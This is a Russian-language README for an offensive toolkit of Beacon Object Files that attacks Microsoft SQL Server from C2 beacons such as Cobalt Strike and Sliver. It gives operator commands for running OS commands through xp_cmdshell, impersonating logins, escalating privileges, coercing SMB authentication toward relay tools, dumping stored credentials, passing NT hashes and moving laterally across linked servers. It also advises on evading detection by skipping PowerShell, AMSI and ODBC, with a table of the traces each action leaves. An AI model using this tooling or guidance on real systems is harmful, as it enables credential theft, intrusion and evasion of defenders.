
Набор Beacon Object File для Microsoft SQL Server, который самостоятельно взаимодействует по протоколу TDS 7.4.
Набор файлов Beacon Object для Microsoft SQL Server, который сам общается по проводу с использованием TDS 7.4, на C. Без msodbcsql.dll, без sqloledb.dll, без .NET CLR, без PowerShell. Один COFF на архитектуру, загружается в любой beacon, поддерживающий канонический Beacon API.
SQL Server встречается почти в каждой задаче. Два инструмента, к которым обычно прибегают, — это SQLRecon / PowerUpSQL (CLR + PowerShell) и всё, что оборачивает sqlcmd.exe. Оба оставляют mscoree.dll, события PowerShell AMSI или полную копию драйвера Microsoft ODBC в памяти beacon. Ничего из этого не нужно: TDS — это просто обрамлённые байты по TCP с рукопожатием Schannel спереди, а каждый beacon, поддерживающий BOF, уже имеет загруженные ws2_32, secur32, schannel и bcrypt.
Поэтому mssqlbof реализует TDS вручную, на C, и подключается напрямую к тем примитивам SSPI или BCrypt, которые нужны оператору для цели. Beacon загружает один объект размером ~48 КБ, выполняет SQL, выгружает. В процесс больше ничего не попадает.
Один объектный файл на архитектуру. mssql.x64.o — это один и тот же бинарник для всех фреймворков: мы используем только канонический Beacon API (BeaconPrintf, BeaconDataExtract и т.д.) и шаблон динамического импорта <LIB>$<fn>, который COFF-загрузчики разрешают во время выполнения.
apt install gcc-mingw-w64 libssl-dev
make
Создаёт build/mssql.x64.o и build/mssql.x86.o. Скиньте на сервер команды, загрузите с помощью BOF-раннера вашего C2.
Всё проходит через один объектный файл с --action <глагол>:
--action find LDAP-перечисление SPN службы MSSQLSvc в текущем лесу
--action info --host <sql> сервер/версия/текущий пользователь/sysadmin/база данных
--action query --host <sql> --sql "..." произвольный T-SQL, несколько строк, несколько наборов результатов
--action links --host <sql> перечисление связанных серверов (один прыжок)
--action exec --host <sql> --cmd "..." xp_cmdshell с автоматическим включением и восстановлением
--action impersonate --host <sql> --discover список логинов, для которых можно выполнить EXECUTE AS
--action impersonate --host <sql> --login X --sql "..."
выполнить T-SQL от имени X через EXECUTE AS LOGIN
--action privesc --host <sql> шестисекционное перечисление поверхности повышения привилегий
--action coerce --host <sql> --to "\\listener\x"
принуждение аутентификации SMB через xp_dirtree
--action passwords --host <sql> дамп sys.linked_logins и sys.credentials
--action chain --host <sql> --via LINK --sql "..."
EXEC (...) AT [LinkedServer]
--action find работает без хоста — взаимодействует с контроллером домена оператора через LDAP.
Четыре режима. Каждый режим проверен сквозным образом против SQL Server 2019 как в COFFLoader, так и в Adaptix C2 в реальном домене.
--auth sspi (по умолчанию) текущий токен потока beacon
Kerberos, если есть SPN, иначе NTLM.
Почитает make_token / steal_token.
--auth ntlm --domain D --user U --pass P явный NTLM в открытом виде.
Использует SSPI-пакет NTLM, несколько этапов.
--auth ntlm --domain D --user U --hash <NT> pass-the-hash.
Реализованный вручную NTLMv2 (см. ниже).
Без SSPI, без lsass, без make_token.
--auth sql --user U --pass P SQL-аутентификация.
--hash принимает 32-символьный шестнадцатеричный NT-хэш или форму LM:NT, которую выводит secretsdump.
SSPI + SEC_WINNT_AUTH_IDENTITYAcquireCredentialsHandleW(NULL, "NTLM", ...) принимает только пароли в открытом виде в структуре учётных данных. Поставщик NTLM самостоятельно вычисляет NT-хэш. Передача хэша требует патча lsass (что делает Mimikatz sekurlsa::pth) или запуска beacon в жертвенном процессе, который уже был предварительно аутентифицирован.
Альтернатива, которую мы выбрали, — полностью пропустить SSPI для PTH и генерировать сообщения NTLMSSP самостоятельно. src/tds/ntlm_pth.c строит Type 1 NEGOTIATE, извлекает Type 2 CHALLENGE сервера из токена TDS 0xED, выполняет вычисления NTLMv2 с помощью провайдера HMAC-MD5 библиотеки bcrypt.dll и пишет Type 3 AUTHENTICATE, который SQL Server с радостью передаёт контроллеру домена.
Первая версия потерпела неудачу с error 18452: login is from an untrusted domain. Захват работающей аутентификации Impacket рядом с нашей помог быстро сузить проблему: мы отправляли 24 нуля для ответа LMv2 и полный набор флагов Windows negotiate 0xe288... Сопоставление вычислений LMv2 из Impacket и его меньшего набора флагов 0xa2880205 (без KEY_EXCH, без SIGN, без ALWAYS_SIGN) заставило сервер принять хэш. Отчёт в BLOG.
--action exec--impersonate auto (по умолчанию) попробовать EXECUTE AS LOGIN, затем прыжок через TRUSTWORTHY
--impersonate login EXECUTE AS LOGIN через разрешение IMPERSONATE
--impersonate trustworthy прыжок через dbo базы данных TRUSTWORTHY, принадлежащей sysadmin
--impersonate none завершиться ошибкой, если не sysadmin
privesc перечисляет поверхность перед тем, как вы выберете метод: членство в sysadmin, разрешения IMPERSONATE (с учётом статуса sysadmin целевого логина), базы данных TRUSTWORTHY, принадлежащие sysadmin (с вашим доступом), связанные серверы, разрешения уровня сервера и состояние xp_cmdshell.
apt install gcc-mingw-w64 libssl-dev
make # кросс-компиляция BOF для x64 + x86
make tds # разделяемая библиотека Linux для ядра TDS (для фаззинга / тестов)
Разделяемая библиотека Linux использует все исходные файлы TDS из сборки Windows; только tls_schannel.c / sspi.c / ntlm_pth.c заменяются на их эквиваленты OpenSSL / заглушки.
Ничто не вызывает libc или Win32 напрямую. Каждый внешний символ проходит через соглашение динамического импорта <LIB>$<fn>, определённое в src/common/dynimports.h. Проверьте с помощью:
x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND
Должны отображаться только MSVCRT$*, WS2_32$*, SECUR32$*, BCRYPT$*, CRYPT32$*, SCHANNEL$*, WLDAP32$*, KERNEL32$*, ADVAPI32$* и __imp_Beacon*. Ни msodbcsql.dll, ни sqloledb.dll, ни mscoree.dll.
Всё TLS — это реальный Schannel (не заглушка) с учётом особенности PRELOGIN-обёртки SQL Server: рукопожатие выполняется внутри пакетов TDS PRELOGIN типа 0x12, затем LOGIN7 отправляется как необработанные данные приложения TLS, а сервер отвечает на первый пакет логина открытым текстом. Продолжения SSPI с несколькими этапами также идут открытым текстом — если зашифровать их с помощью TLS, SRV02 просто закрывает сокет.
v0.1.2 — многорежимная аутентификация, PTH, 11 действий, проверено в лаборатории.
mssql.x64.o) с 11 действиямиexec: login, trustworthy, auto, noneИзвестные крайние случаи:
OPENQUERY — в v0.2.do_connect их вычищает — побочный эффект: строка [*] connected as ..., которую логирует каждое действие. Коренная причина в пути чтения после LOGINACK и будет исправлена в v0.2.Cobalt-Strike/bof_template за каноническую поверхность Beacon API, которой этот проект в точности следует.TrustedSec/COFFLoader за независимый загрузчик для тестирования.ntlm.py и mssqlclient.py из impacket — эталон, с которым мы сравнивали при разборе мешанины флагов NTLMv2.[MS-TDS] и [MS-NLMP] — спецификации, которым следует вся эта ручная реализация.Opus 4.6 — Части документации были набросаны с помощью Opus 4.6. Весь код написан вручную МНОЙ и проверен сквозным образом в лаборатории.MIT.
| C2 | x64 | x86 |
|---|
| Cobalt Strike | да | да |
| Havoc | да | да |
| Sliver | да | да |
| BruteRatel | да | да |
| Nighthawk | да | да |
| Outflank Stage1 | да | да |
| AdaptixC2 | да | да |
Metasploit execute_bof | да | да |
| PoshC2 | да | да |
| Действие | Дополнительные DLL сверх базового набора beacon | Серверный след | Примечания |
|---|
find | wldap32 | Событие DC 1644 (редко) | Только LDAP, SQL не затронут |
info / query / links / privesc / passwords | secur32 или bcrypt, schannel, ws2_32 | Аудит SQL 33205, если включён | Чистый TDS, без отпечатка ODBC |
exec | то же | xp_cmdshell + sp_configure в трассировке по умолчанию | Громко. Используйте --impersonate от низкопривилегированного логина, чтобы не оказаться в NT SERVICE |
impersonate | то же | Аудит EXECUTE AS 33205 + 33206 | |
coerce | то же | Попытка xp_dirtree регистрируется | Направляйте на responder / ntlmrelayx |
chain | то же | EXEC AT регистрируется на целевом связанном сервере | Примитив для перемещения |
| Документ | Содержание |
|---|
docs/PROTOCOL.md | Глубокое погружение в TDS 7.4: фрейминг пакетов, поток опций PRELOGIN, обфускация пароля LOGIN7, ALL_HEADERS при SQLBatch, грамматика потока токенов (COLMETADATA / ROW / NBCROW / DONE / LOGINACK / ENVCHANGE / продолжение SSPI 0xED), особенность рукопожатия TLS, многоэтапная NTLM-прокачка. |
docs/OPERATOR.md | Полное руководство по лабораторной работе: сборка, развёртывание слушателя Adaptix, установка beacon на хост Windows, выполнение каждого действия с каждым режимом аутентификации (включая PTH) и заметки о переносимости между C2. |
docs/OPSEC.md | Следы каждого действия в сети и в памяти. Что каждое действие загружает в beacon, что оставляет в аудите SQL и что может увидеть защитник. |
docs/COMPATIBILITY.md | Матрица фреймворков C2, матрица версий SQL Server и какие режимы аутентификации проверены на каких целях. |
BLOG | История отладки: как на самом деле получилась реализация pass-the-hash, с захватами трафика, ложным следом нулевых байтов LMv2 и сравнением tshark с Impacket, которое всё прояснило. |